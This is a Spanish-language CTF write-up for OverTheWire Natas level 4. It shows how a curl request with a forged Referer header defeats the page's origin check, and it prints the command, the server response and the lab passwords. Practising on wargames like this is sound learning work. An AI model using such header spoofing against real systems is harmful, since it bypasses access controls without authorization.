CTF OverTheWire: Natas4

Posted on Jun 2, 2018 · 361 words · 2 minute read

Continuamos con la serie de tutoriales del CTF Natas, ahora toca el turno de natas4.

Natas Level 3 → Level 4  
Username: natas4  
URL: http://natas4.natas.labs.overthewire.org

Utilizamos la bandera obtenida en el reto anterior y accedemos a la URL indicada en las instrucciones del reto, veremos una pantalla como la siguiente.

Como lo hemos hecho anteriormente, revisamos el codigo fuente pero no encontramos nada interesante, tampoco hay archivo robots.txt

Nos concentramos en el mensaje que aparece en la pantalla: Access disallowed. You are visiting from “" while authorized users should come only from “http://natas5.natas.labs.overthewire.org/"

Acceso deshabilitado. Nos estas visitando de “" mientras que los usuarios autorizados deberian de venir desde “http://natas5.natas.labs.overthewire.org/"

El mensaje anterior sugiere algún tipo de validación del lado del servidor en donde se revisa el origen de la petición, damos click en el link de refresh, inspeccionamos las cabeceras del request utilizando google developer toolbars y observamos que el mensaje de la pagina cambio.

Observamos una cabecera interesante llamada referer cuyo valor actual es http://natas4.natas.labs.overthewire.org/, veamos si es posible definir nuestro propio valor utilizando cURL.

Abrimos una consola y escribimos

$ curl –help  
Usage: curl [options…] <url>  
Options: (H) means HTTP/HTTPS only, (F) means FTP only  
….  
-r, –range RANGE Retrieve only the bytes within RANGE  
–raw Do HTTP "raw"; no transfer decoding (H)  
-e, –referer Referer URL (H)  
-J, –remote-header-name Use the header-provided filename (H)  
….

Genial, con el parámetro -e / –referer podemos definir nuestra propia URL.

○ → curl –user natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ –referer http://natas5.natas.labs.overthewire.org/ http://natas4.natas.labs.overthewire.org/  
<html>
<head>
<!--– This stuff in the header has nothing to do with the level –-->
<link href="http://natas.labs.overthewire.org/css/level.css" rel="stylesheet" type="text/css"/>
<link href="http://natas.labs.overthewire.org/css/jquery-ui.css" rel="stylesheet"/>
<link href="http://natas.labs.overthewire.org/css/wechall.css" rel="stylesheet"/>
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas4", "pass": "Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ" };</script></head>
<body>
<h1>natas4</h1>
<div id="content">

Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq  
<br/>
<div id="viewsource">[Refresh page](index.php)</div>
</div>
</body>
</html>

La bandera para acceder a natas5 es iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

Happy hacking 🙂